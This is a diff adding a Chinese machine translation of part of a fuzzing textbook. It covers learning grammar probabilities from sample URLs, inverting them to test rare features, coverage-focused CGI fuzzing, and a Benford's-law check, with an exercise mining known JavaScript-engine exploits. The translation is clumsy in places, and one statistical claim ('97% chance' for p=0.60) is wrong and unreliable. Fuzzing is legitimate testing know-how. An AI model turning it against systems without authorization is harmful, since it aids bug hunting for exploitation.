font-family="Times,serif" font-size="14.00" text-anchor="middle" x="125" y="-207.8">:</text></g> <g class="edge" id="edge8"><title>5->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="165" y="-207.8"><port></text></g> <g class="edge" id="edge9"><title>5->9</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="85" y="-156.8">cispa.saarland</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="165" y="-156.8">80</text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="205" y="-207.8">/</text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="239" y="-207.8"><id></text></g> <g class="edge" id="edge13"><title>11->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="235" y="-156.8">def</text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="277" y="-207.8">?</text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="334" y="-207.8"><params></text></g> <g class="edge" id="edge17"><title>15->17</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="288" y="-156.8"><param></text></g> <g class="edge" id="edge18"><title>17->18</title></g> <g class="node" id="node26"><title>25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="337" y="-156.8">&</text></g> <g class="edge" id="edge25"><title>17->25</title></g> <g class="node" id="node27"><title>26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="396" y="-156.8"><params></text></g> <g class="edge" id="edge26"><title>17->26</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="250" y="-105.8"><id></text></g> <g class="edge" id="edge19"><title>18->19</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="286" y="-105.8">=</text></g> <g class="edge" id="edge21"><title>18->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="325" y="-105.8"><nat></text></g> <g class="edge" id="edge22"><title>18->22</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="250" y="-54.8">def</text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="323" y="-54.8"><digit></text></g> <g class="edge" id="edge23"><title>22->23</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="323" y="-3.8">7</text></g> <g class="edge" id="edge24"><title>23->24</title></g> <g class="node" id="node28"><title>27</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="399" y="-105.8"><param></text></g> <g class="edge" id="edge27"><title>26->27</title></g> <g class="node" id="node29"><title>28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="376" y="-54.8"><id></text></g> <g class="edge" id="edge28"><title>27->28</title></g> <g class="node" id="node31"><title>30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="412" y="-54.8">=</text></g> <g class="edge" id="edge30"><title>27->30</title></g> <g class="node" id="node32"><title>31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="448" y="-54.8"><id></text></g> <g class="edge" id="edge31"><title>27->31</title></g> <g class="node" id="node30"><title>29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="376" y="-3.8">x23</text></g> <g class="edge" id="edge29"><title>28->29</title></g> <g class="node" id="node33"><title>32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="448" y="-3.8">abc</text></g> <g class="edge" id="edge32"><title>31->32</title></g></g></svg>
+
+让我们使用上面的`url_parser`解析器将`ProbabilisticGrammarMiner`类应用于这些输入，并获得概率URL语法：
+
+```py
+probabilistic_grammar_miner = ProbabilisticGrammarMiner(url_parser)
+probabilistic_url_grammar = probabilistic_grammar_miner.mine_probabilistic_grammar(
+    URL_SAMPLE)
+
+```
+
+这些是我们在解析过程中获得的计数：
+
+```py
+print(probabilistic_grammar_miner.counts())
+
+```
+
+```py
+{'<start> -> <url>': 9, '<url> -> <scheme>://<authority><path><query>': 9, '<scheme> -> https': 6, '<authority> -> <userinfo>@<host>:<port>': 2, '<userinfo> -> user:password': 2, '<host> -> cispa.saarland': 2, '<port> -> 80': 5, '<path> -> /': 2, '<query> -> <query>': 4, '<authority> -> <host>': 2, '<host> -> fuzzingbook.com': 7, '<path> -> <path>': 3, '<query> -> ?<params>': 5, '<params> -> <param>&<params>': 10, '<param> -> <id>=<nat>': 9, '<id> -> def': 11, '<nat> -> <digit><digit>': 5, '<digit> -> 5': 3, '<digit> -> 6': 1, '<id> -> x89': 1, '<nat> -> <digit>': 4, '<digit> -> 3': 2, '<id> -> x46': 1, '<digit> -> 4': 2, '<digit> -> 8': 3, '<params> -> <param>': 5, '<param> -> <id>=<id>': 6, '<authority> -> <host>:<port>': 5, '<path> -> /<id>': 4, '<digit> -> 7': 1, '<id> -> x23': 1, '<id> -> abc': 7, '<id> -> x14': 1, '<digit> -> 2': 2, '<scheme> -> ftps': 1, '<id> -> x87': 1, '<port> -> 6': 1, '<id> -> x44': 1, '<scheme> -> http': 2, '<id> -> x33': 1, '<port> -> 8080': 1}
+
+```
+
+这些计数转化为个体概率。 我们看到在示例中，大多数URL使用`https:`方案，而没有输入使用`ftp:`方案。
+
+```py
+probabilistic_url_grammar['<scheme>']
+
+```
+
+```py
+[('http', {'prob': 0.2222222222222222}),
+ ('https', {'prob': 0.6666666666666666}),
+ ('ftp', {'prob': 0.0}),
+ ('ftps', {'prob': 0.1111111111111111})]
+
+```
+
+同样，我们看到大多数给定的URL具有多个参数：
+
+```py
+probabilistic_url_grammar['<params>']
+
+```
+
+```py
+[('<param>', {'prob': 0.3333333333333333}),
+ ('<param>&<params>', {'prob': 0.6666666666666666})]
+
+```
+
+当我们使用这种概率语法进行模糊测试时，这些分布会反映在我们生成的输入中-也没有`ftp:`方案，而且大多数输入都有多个参数。
+
+```py
+g = ProbabilisticGrammarFuzzer(probabilistic_url_grammar)
+[g.fuzz() for i in range(10)]
+
+```
+
+```py
+['https://fuzzingbook.com/def?def=abc&def=abc&def=def&def=abc&abc=def&def=def&abc=def',
+ 'http://fuzzingbook.com:80/def?def=7&def=abc&abc=88',
+ 'https://cispa.saarland/def?def=2',
+ 'http://user:password@fuzzingbook.com:80/def?abc=abc&def=78',
+ 'http://cispa.saarland:80/?def=54&def=abc',
+ 'https://fuzzingbook.com:80/def?def=def',
+ 'http://fuzzingbook.com:80/abc?abc=abc&abc=def&def=85&abc=7&def=6&abc=2&def=abc',
+ 'https://fuzzingbook.com/abc?def=32&def=3&abc=4',
+ 'http://fuzzingbook.com/def?abc=24&def=def&def=48',
+ 'https://cispa.saarland:80/?abc=abc']
+
+```
+
+能够复制从样本中学到的概率分布不仅对于关注常用功能非常重要。 它也可以帮助实现*有效输入*，特别是如果一个人在上下文中学习了概率*时，如上所述：如果在给定的上下文中，某些元素比其他元素更有可能（因为它们 相互依赖），学习到的概率分布将反映出这一点； 因此，从该获悉的概率分布中生成的输入也将具有较高的有效机会。 我们将在下面的[练习](#Exercises)中进一步探讨这一点。*
+
+### 测试罕见功能
+
+到目前为止，我们已经将重点放在*常见*功能上； 但是从测试的角度来看，一个人可能同样会测试*和*的不常见功能-也就是说，这些功能在我们的使用示例中很少出现，因此在实践中将很少使用。 这是安全测试中的一种常见情况，其中的重点是罕见的（可能鲜为人知）功能，因为更少的用户意味着更少的错误报告，因此，更多的错误需要发现和利用。
+
+为了使我们的概率语法模糊器关注*和*不常见的特征，我们*更改了学习的概率*，以使常见的特征（即，具有较高的学习概率的特征）的概率较低，反之 反之亦然：倒数第一，倒数第二。 实现这种*倒置*概率的一种特别简单的方法是*交换*：概率最高和最低的替代方案交换其概率，因此，第二高和第二的替代方案将交换其概率。 最低的概率，具有最高和最低第三的替代方案，依此类推。
+
+函数`invert_expansion()`从语法中提取扩展（替代列表），并返回新的反向扩展，其中已根据上述规则交换了概率。 它创建一个索引列表，并按增加的概率对其进行排序，然后为每个$ n $元素分配索引中最后$ n $个元素的概率。
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html)
+
+```
+
+```py
+def invert_expansion(expansion):
+    def sort_by_prob(x):
+        index, prob = x
+        return prob if prob is not None else 0
+
+    inverted_expansion = copy.deepcopy(expansion)
+    indexes = [(index, exp_prob(alternative))
+               for index, alternative in enumerate(expansion)]
+    indexes.sort(key=sort_by_prob)
+    indexes = [i for (i, _) in indexes]
+
+    for j in range(len(indexes)):
+        k = len(indexes) - 1 - j
+        # print(indexes[j], "gets", indexes[k])
+        inverted_expansion[indexes[j]
+                           ][1]['prob'] = expansion[indexes[k]][1]['prob']
+
+    return inverted_expansion
+
+```
+
+这是`invert_expansion()`的实际操作。 这是URL方案的原始概率分布：
+
+```py
+probabilistic_url_grammar['<scheme>']
+
+```
+
+```py
+[('http', {'prob': 0.2222222222222222}),
+ ('https', {'prob': 0.6666666666666666}),
+ ('ftp', {'prob': 0.0}),
+ ('ftps', {'prob': 0.1111111111111111})]
+
+```
+
+这就是“反向”分布。 我们看到，以前具有零概率的`ftp:`方案现在具有最高的概率，而最常见的方案`https:`现在具有`ftp:`方案的先前零概率。
+
+```py
+invert_expansion(probabilistic_url_grammar['<scheme>'])
+
+```
+
+```py
+[('http', {'prob': 0.1111111111111111}),
+ ('https', {'prob': 0.0}),
+ ('ftp', {'prob': 0.6666666666666666}),
+ ('ftps', {'prob': 0.2222222222222222})]
+
+```
+
+这种概率交换的一个很好的特点是，概率之和保持不变。 无需标准化。 另一个不错的功能是，反转的反转将返回原始分布：
+
+```py
+invert_expansion(invert_expansion(probabilistic_url_grammar['<scheme>']))
+
+```
+
+```py
+[('http', {'prob': 0.2222222222222222}),
+ ('https', {'prob': 0.6666666666666666}),
+ ('ftp', {'prob': 0.0}),
+ ('ftps', {'prob': 0.1111111111111111})]
+
+```
+
+请注意，我们的实现并不能普遍满足此属性：如果扩展中的两个替代方案$ a_1 $和$ a_2 $共享相同的概率，则第二个反演可能会为$ a_1 $和$ a_2 $分配不同的概率。
+
+我们可以在整个语法中应用扩展的倒置：
+
+```py
+def invert_probs(grammar):
+    inverted_grammar = extend_grammar(grammar)
+    for symbol in grammar:
+        inverted_grammar[symbol] = invert_expansion(grammar[symbol])
+    return inverted_grammar
+
+```
+
+这意味着将为每个扩展交换概率：
+
+```py
+probabilistic_url_grammar["<digit>"]
+
+```
+
+```py
+[('0', {'prob': 0.0}),
+ ('1', {'prob': 0.0}),
+ ('2', {'prob': 0.14285714285714285}),
+ ('3', {'prob': 0.14285714285714285}),
+ ('4', {'prob': 0.14285714285714285}),
+ ('5', {'prob': 0.21428571428571427}),
+ ('6', {'prob': 0.07142857142857142}),
+ ('7', {'prob': 0.07142857142857142}),
+ ('8', {'prob': 0.21428571428571427}),
+ ('9', {'prob': 0.0})]
+
+```
+
+```py
+inverted_probabilistic_url_grammar = invert_probs(probabilistic_url_grammar)
+inverted_probabilistic_url_grammar["<digit>"]
+
+```
+
+```py
+[('0', {'prob': 0.21428571428571427}),
+ ('1', {'prob': 0.21428571428571427}),
+ ('2', {'prob': 0.07142857142857142}),
+ ('3', {'prob': 0.07142857142857142}),
+ ('4', {'prob': 0.0}),
+ ('5', {'prob': 0.0}),
+ ('6', {'prob': 0.14285714285714285}),
+ ('7', {'prob': 0.14285714285714285}),
+ ('8', {'prob': 0.0}),
+ ('9', {'prob': 0.14285714285714285})]
+
+```
+
+如果现在使用这种“反”语法进行模糊处理，则生成的输入将集中在输入样本的*补码上。 我们将进行大量的用户/密码功能测试，以及`ftp:`方案-本质上，所有功能都以我们的语言提供，但很少在输入样本中使用（如果有的话）。*
+
+```py
+g = ProbabilisticGrammarFuzzer(inverted_probabilistic_url_grammar)
+[g.fuzz() for i in range(10)]
+
+```
+
+```py
+['ftp://www.google.com',
+ 'ftp://www.google.com/',
+ 'ftp://www.google.com/',
+ 'ftp://user:password@cispa.saarland',
+ 'ftps://www.google.com/',
+ 'ftp://user:password@www.google.com/',
+ 'ftp://user:password@www.google.com',
+ 'ftp://www.google.com/',
+ 'ftp://user:password@www.google.com',
+ 'ftp://user:password@www.google.com/']
+
+```
+
+除了仅具有*常见*或仅罕见的功能外，还可以创建混合形式-例如，在常见上下文中测试罕见的功能。 这对于安全测试很有帮助，在安全测试中，可能需要一个无害（通用）的“信封”和一个（不常见）“有效载荷”。 这完全取决于我们在哪里以及如何调整概率。
+
+### 从输入切片学习概率
+
+在前面的示例中，我们从*中了解了所有*输入，以生成公共或非公共输入。 但是，我们还可以从输入的*子集*中学习，以专注于该子集中存在的特征（或者相反，*避免*其特征）。 例如，如果我们知道有一些输入子集涵盖了感兴趣的功能（例如，因为它特别关键或因为它最近已被更改），那么我们可以从这一子集中学习并将测试生成重点放在 其功能。
+
+为了说明这种方法，让我们使用关于覆盖范围的[一章中介绍的CGI语法。 我们对CGI解码器中的第25行有特别的兴趣-即处理`%`字符后跟两个有效十六进制数字的行：](Coverage.html)
+
+```py
+...
+        elif c == '%':
+            digit_high, digit_low = s[i + 1], s[i + 2]
+            i += 2
+            if digit_high in hex_values and digit_low in hex_values:
+                v = hex_values[digit_high] * 16 + hex_values[digit_low] ### Line 25
+                t += chr(v)
+        ...
+
+```
+
+让我们假设我们不确切知道第25行在什么条件下执行-但是，我们仍然想对其进行彻底的测试。 但是，借助概率学习工具，我们可以学习这些条件。 我们从一组随机输入开始，并考虑覆盖第25行的子集。
+
+```py
+from [Coverage](Coverage.html) import Coverage, cgi_decode
+from [Grammars](Grammars.html) import CGI_GRAMMAR
+
+```
+
+```py
+cgi_fuzzer = GrammarFuzzer(CGI_GRAMMAR)
+
+```
+
+```py
+trials = 100
+coverage = {}
+
+for i in range(trials):
+    cgi_input = cgi_fuzzer.fuzz()
+    with Coverage() as cov:
+        cgi_decode(cgi_input)
+    coverage[cgi_input] = cov.coverage()
+
+```
+
+这些都是涵盖第25行的随机输入：
+
+```py
+coverage_slice = [cgi_input for cgi_input in coverage
+                  if ('cgi_decode', 25) in coverage[cgi_input]]
+
+```
+
+```py
+print(coverage_slice)
+
+```
+
+```py
+['%36%c1%d2c2%4f++e', '%2c%90+', 'c++%8b', 'a+%95', '%76%00', '%71', '%a2', '%39%51%db%7c%66', '%2a', '%b9225', '%13+b', '%32', '-1%b11%d8', '%08', '%a3', '%fe', '+%82%ed%42', '%d5', '%5bc', '%b0', '%47', 'b+%20', '%d7', '0+%17', '%a5', '%84', 'e+4%fc', 'd%6f+++1a', 'd+%95+', '%1e', '%244', '%3c', '5%75+%99%3c', '%80%74+a', '%a7', '%c1%da', '%c5+', 'b%44', '%70%c4_3', '4%63', '%364+', '%79%ab', '%8a%f6', '%53%43', '+++%55+b5', '%51+++', '+%28', '1%1c+', '+%41%9b', '%0d%20', '+%3d+%c2']
+
+```
+
+实际上，大约一半的输入覆盖第25行：
+
+```py
+len(coverage_slice) / trials
+
+```
+
+```py
+0.51
+
+```
+
+现在让我们从这部分输入中学习概率语法：
+
+```py
+probabilistic_grammar_miner = ProbabilisticGrammarMiner(
+    EarleyParser(CGI_GRAMMAR))
+probabilistic_cgi_grammar = probabilistic_grammar_miner.mine_probabilistic_grammar(
+    coverage_slice)
+
+```
+
+```py
+assert is_valid_probabilistic_grammar(probabilistic_cgi_grammar)
+
+```
+
+我们看到百分号很可能会发生：
+
+```py
+probabilistic_cgi_grammar['<letter>']
+
+```
+
+```py
+[('<plus>', {'prob': 0.2318840579710145}),
+ ('<percent>', {'prob': 0.5362318840579711}),
+ ('<other>', {'prob': 0.2318840579710145})]
+
+```
+
+使用此语法，我们现在可以生成专门针对第25行的测试：
+
+```py
+probabilistic_cgi_fuzzer = ProbabilisticGrammarFuzzer(
+    probabilistic_cgi_grammar)
+print([probabilistic_cgi_fuzzer.fuzz() for i in range(20)])
+
+```
+
+```py
+['%44', '%17', '+', '_%3b', '%91%74', 'b', 'b', '%40+b%e1%35%f7+c4%7a%37', '%21%f6%59a', '2b', '%ba', '%d9%29eab+++%c1+', '3', '%60e2', '%71%f2+', '++%3b', '0%03%70+%34%6e', 'e', '%65a', '+%5aac+']
+
+```
+
+```py
+trials = 100
+coverage = {}
+
+for i in range(trials):
+    cgi_input = probabilistic_cgi_fuzzer.fuzz()
+    with Coverage() as cov:
+        cgi_decode(cgi_input)
+    coverage[cgi_input] = cov.coverage()
+
+```
+
+我们看到，覆盖第25行的输入比例已经高得多，这表明我们的工作重点是：
+
+```py
+coverage_slice = [cgi_input for cgi_input in coverage
+                  if ('cgi_decode', 25) in coverage[cgi_input]]
+
+```
+
+```py
+len(coverage_slice) / trials
+
+```
+
+```py
+0.76
+
+```
+
+再重复一次，可以得到更高的聚焦度：
+
+```py
+for run in range(3):
+    probabilistic_cgi_grammar = probabilistic_grammar_miner.mine_probabilistic_grammar(
+        coverage_slice)
+    probabilistic_cgi_fuzzer = ProbabilisticGrammarFuzzer(
+        probabilistic_cgi_grammar)
+
+    trials = 100
+    coverage = {}
+
+    for i in range(trials):
+        cgi_input = probabilistic_cgi_fuzzer.fuzz()
+        with Coverage() as cov:
+            cgi_decode(cgi_input)
+        coverage[cgi_input] = cov.coverage()
+
+    coverage_slice = [cgi_input for cgi_input in coverage
+                      if ('cgi_decode', 25) in coverage[cgi_input]]
+
+```
+
+```py
+len(coverage_slice) / trials
+
+```
+
+```py
+0.85
+
+```
+
+通过从样本输入的子集中学习（并重新学习）概率，我们可以使*使*模糊测试器针对该子集的属性进行专门化–在我们的示例中，输入中包含百分比符号和有效的十六进制字母。 我们可以使事物专门化的程度取决于我们可以控制的变量数量–在我们的情况下，是各个规则的概率。 如上所述，向语法添加更多上下文将增加变量的数量，从而增加专业化的数量。
+
+但是，高度的专业化限制了我们探索落在所选范围之外的*组合的可能性，并且限制了我们发现由这些组合引起的错误的可能性。 这种权衡在机器学习中被称为*探索与开发* –是应该尝试探索尽可能多的（可能是浅表的）组合，还是专注于（开发）特定区域？ 最后，这完全取决于错误的位置以及我们最有可能找到它们的位置。 分配和学习概率使我们能够控制搜索策略-从常见到罕见，再到特定子集。*
+
+## 检测非自然数
+
+让我们回到介绍性的例子来结束本章。 我们说过，本福德定律不仅允许我们产生，而且还可以检测“不自然的”铅位数分布，例如由简单的随机选择产生的铅位数分布。
+
+如果我们使用常规的`GrammarFuzzer`类（忽略概率）来生成（随机）前导数字，则这是我们为每个前导数字获得的分布：
+
+```py
+sample_size = 1000
+random_integer_fuzzer = GrammarFuzzer(
+    PROBABILISTIC_EXPR_GRAMMAR,
+    start_symbol="<leaddigit>")
+random_integers = [random_integer_fuzzer.fuzz() for i in range(sample_size)]
+
+```
+
+```py
+warning: option 'prob' is not supported
+
+```
+
+```py
+random_counts = [random_integers.count(c) for c in crange('1', '9')]
+random_counts
+
+```
+
+```py
+[122, 123, 116, 98, 117, 105, 99, 114, 106]
+
+```
+
+（为简单起见，我们在这里使用简单列表`count()`方法，而不是部署完整的`ProbabilisticGrammarMiner`。）
+
+如果我们有自然的铅位数分布，这就是我们所期望的：
+
+```py
+expected_prob_counts = [
+    exp_prob(
+        PROBABILISTIC_EXPR_GRAMMAR["<leaddigit>"][i]) *
+    sample_size for i in range(9)]
+print(expected_prob_counts)
+
+```
+
+```py
+[301.0, 176.0, 125.0, 97.0, 79.0, 67.0, 58.0, 51.0, 46.0]
+
+```
+
+如果我们有一个随机分布，我们将期望一个相等的分布：
+
+```py
+expected_random_counts = [sample_size / 9 for i in range(9)]
+print(expected_random_counts)
+
+```
+
+```py
+[111.11111111111111, 111.11111111111111, 111.11111111111111, 111.11111111111111, 111.11111111111111, 111.11111111111111, 111.11111111111111, 111.11111111111111, 111.11111111111111]
+
+```
+
+哪个分布更匹配我们的`random_counts`前导数字？ 为此，我们运行了一个\\ chi ^ 2 $ -test来比较发现的分布（`random_counts`）与“自然”铅位数分布`expected_prob_counts`和随机分布`expected_random_counts`。
+
+```py
+from [scipy.stats](https://docs.python.org/3/library/scipy.stats.html) import chisquare
+
+```
+
+事实证明，观察到的分布遵循“自然”分布的可能性为零（`pvalue` = 0.0）：
+
+```py
+chisquare(random_counts, expected_prob_counts)
+
+```
+
+```py
+Power_divergenceResult(statistic=347.96491895076656, pvalue=2.4618008235897177e-70)
+
+```
+
+但是，有97％的机会观察到的行为遵循随机分布：
+
+```py
+chisquare(random_counts, expected_random_counts)
+
+```
+
+```py
+Power_divergenceResult(statistic=6.38, pvalue=0.6047465691667375)
+
+```
+
+因此，如果您发现一些数字并怀疑其有效性，则可以运行上述测试以检查它们是否可能是自然的。 更好的是，坚持要求作者使用Jupyter笔记本生成结果，以便您可以检查计算的每个步骤:-)
+
+## 经验教训
+
+*   通过指定概率，可以将模糊引导到感兴趣的输入特征。
+*   从样本中学习概率可以使人们专注于输入样本中常见或不常见的特征。
+*   从一部分样本中学习概率可以使人们产生更多相似的输入。
+
+## 后续步骤
+
+现在，我们将概率和语法（以及重新分析器和语法）结合在一起，我们为许多应用程序奠定了基础。 我们的下一章将重点介绍
+
+*   如何 [*将*失败的输入减少到最小](Reducer.html)
+*   如何在功能级别上雕刻[和](Carver.html)[产生](APIFuzzer.html)测试
+*   如何[自动测试（Web）用户界面](WebFuzzer.html)
+
+请享用！
+
+## 背景
+
+通过解析数据集挖掘概率的想法首先在“学习模糊：输入数据的概率生成模型与应用程序无关的模糊测试” [ [Patra *等人*，2016年中提出。](http://mp.binaervarianz.de/TreeFuzz_TR_Nov2016.pdf) ，它还为派生树学习并应用概率规则。 首先在“地狱的投入：从普通样本中生成不常见的投入” [ [Esteban Pavese *等人，*等，2018年的工作中，首先将这种思想应用于概率语法以及反转概率或从切片中学习。](http://arxiv.org/abs/1812.07525) 。
+
+我们对本福德定律的解释遵循[本文](https://brilliant.org/wiki/benfords-law/)。
+
+## 练习
+
+### 练习1：覆盖范围内的概率模糊
+
+创建一个扩展了`GrammarCoverageFuzzer`并具有概率功能的类`ProbabilisticGrammarCoverageFuzzer`。 这个想法是首先覆盖所有未发现的扩展（如`GrammarCoverageFuzzer`），一旦覆盖了所有扩展，就按概率进行处理（如`ProbabilisticGrammarFuzzer`）。
+
+为此，定义`choose_covered_node_expansion()`和`choose_uncovered_node_expansion()`方法的新实例，这些实例根据给定的权重选择扩展。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ProbabilisticGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+如果您是高级程序员，请通过从`GrammarCoverageFuzzer`和`ProbabilisticGrammarFuzzer`继承*多重继承*来实现该类。
+
+多重继承是一件棘手的事情。 如果您有两个都从$ A $继承的类$ A'$和$ A''$，则$ A $的相同方法$ m（）$可能在$ A'$和$ A''$中都被重载。 。 如果现在从*继承* $ A'$和$ A''$，并调用$ m（）$，应调用哪个$ m（）$实现？ Python通过简单地调用一个从第一个继承的类中的$ m（）$方法来“解决”该冲突。
+
+为了避免这种冲突，可以检查一个人继承的顺序是否有所不同。 方法`inheritance_conflicts()`相互比较属性； 如果他们引用不同的代码，则必须解决冲突。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ProbabilisticGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import inheritance_conflicts
+
+```
+
+```py
+inheritance_conflicts(GrammarCoverageFuzzer, ProbabilisticGrammarFuzzer)
+
+```
+
+```py
+['choose_node_expansion']
+
+```
+
+除了`choose_covered_node_expansion()`和`choose_uncovered_node_expansion()`之外，这是*还具有*实现多重继承的方法。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ProbabilisticGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：从过去的错误中学习
+
+如果从*输入中学习以前已知会导致故障的内容，那么从一组输入中学习可能会非常有价值。* 在本练习中，您将去学习过去漏洞的分布。
+
+1.  下载 [`js-vuln-db`](https://github.com/tunz/js-vuln-db) ，这是一组JavaScript引擎漏洞。 每个漏洞均附带执行该漏洞的代码。
+2.  使用带有适当正则表达式的`re.findall()`，从代码中提取所有*数字文字*。
+3.  将这些文字转换为（十进制）*数值*并计算它们各自的出现次数。
+4.  创建一个语法`RISKY_NUMBERS`来生成这些数字，并带有反映上述计数的概率。
+
+当然，漏洞不仅是特定数量的漏洞，而且某些漏洞比其他漏洞更容易引发错误。 下次使系统模糊时，请不要随机生成数字。 而是从`RISKY_NUMBERS`中选择一个：-)
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ProbabilisticGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/2.md b/new/fuzzing-book-zh/2.md
new file mode 100644
index 0000000000000000000000000000000000000000..90c5c1d616543ffe28d0d6636c4b47b4824f02f6
--- /dev/null
+++ b/new/fuzzing-book-zh/2.md
@@ -0,0 +1,161 @@
+# 生成软件测试关于本书
+
+> 原文： [https://www.fuzzingbook.org/html/index.html](https://www.fuzzingbook.org/html/index.html)
+
+<section>
+
+### 打破娱乐性和盈利性的软件
+
+**by Andreas Zeller, Rahul Gopinath, Marcel Böhme, Gordon Fraser, and Christian Holler**</section>
+
+**欢迎使用“生成软件测试”！** 软件中有错误，而捕获错误可能会涉及很多工作。 本书通过*自动执行*软件测试，特别是通过*自动生成测试*解决了这个问题。 近年来，已经看到了新技术的发展，这些新技术导致了测试生成和软件测试的显着改善。 它们现在已经足够成熟，甚至可以用可执行代码组装成书。
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import YouTubeVideo
+YouTubeVideo("w4u5gCgPlmg")
+
+```
+
+## 用于纸张，屏幕和键盘的教科书
+
+您可以通过四种方式使用本书：
+
+*   您可以**阅读浏览器**中的章节。 请查看上方菜单中的章节列表，或立即从[入门测试](Intro_Testing.html)或[模糊测试](Fuzzer.html)入门开始。 所有代码均可下载。
+
+*   您可以将**与章节进行交互，就像Jupyter笔记本**（测试版）一样。 这使您可以编辑和扩展代码，并在浏览器中实时体验*。* 只需选择每章顶部的“资源$ \ rightarrow $编辑为笔记本”。 [尝试与模糊介绍进行交互。](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Fuzzer.ipynb)
+
+*   您可以**在您自己的项目**中使用该代码。 您可以将代码下载为Python程序。 只需为一章选择“资源$ \ rightarrow $下载代码”或为所有章选择“资源$ \ rightarrow $所有代码”。 可以执行这些代码文件，（希望）产生与笔记本相同的结果。 更简单：[安装fuzzingbook Python软件包](#Using-the-Code)。
+
+*   您可以**以幻灯片**的形式呈现各章。 这样可以在讲座中展示材料。 只需选择每章顶部的“资源$ \ rightarrow $查看幻灯片”。 [尝试查看幻灯片以了解模糊的介绍。](https://www.fuzzingbook.org/slides/Fuzzer.slides.html)
+
+## 本书适用于
+
+本书被设计为软件测试课程的*教科书*； 作为软件测试或软件工程课程中的*补充材料*； 并作为软件开发人员的*资源。 我们将介绍随机模糊测试，基于变异的模糊测试，基于语法的测试生成，符号测试等等，并通过示例代码说明所有技术，您可以自己尝试一下。*
+
+## 新闻
+
+本书正在进行*的工作，*每周都有新的章节出版。 在所有章节都写完之后，我们将切换到基于发行版的时间表，其中包含次要版本和主要版本。 要获取更新通知，[在Twitter](https://twitter.com/FuzzingBook?ref_src=twsrc%5Etfw) 上关注我们。
+
+[来自@FuzzingBook的新闻](https://twitter.com/FuzzingBook?ref_src=twsrc%5Etfw)
+
+## 关于作者
+
+本书由 *Andreas Zeller，Rahul Gopinath，MarcelBöhme，Gordon Fraser和Christian Holler* 撰写。 我们所有人都是软件测试和测试生成方面的长期专家； 并且我们已经为这个星球上一些最重要的测试生成器和模糊器撰写或做出了贡献。 例如，如果您是在Firefox，Chrome或Edge Web浏览器中阅读此书，则可以安全地这样做（部分原因是因为我们），因为*本书中列出的技术已经在其JavaScript中发现了2,600多个错误 到目前为止的口译员。* 我们很高兴与大家分享我们的专业知识，并向公众公开。
+
+## 常见问题
+
+### 对[进行故障排除](#Troubleshooting)
+
+#### 为什么启动交互式笔记本需要这么长时间？
+
+交互式笔记本使用 [mybinder.org](https://mybinder.org) 服务，该服务在自己的服务器上运行笔记本。 通过mybinder.org启动Jupyter通常大约需要30秒，具体取决于您的Internet连接。 但是，如果您是在书籍更新后第一个调用活页夹的人，活页夹将重新创建其环境，这将需要几分钟。 偶尔重新加载页面。
+
+#### 交互式笔记本无法正常工作！
+
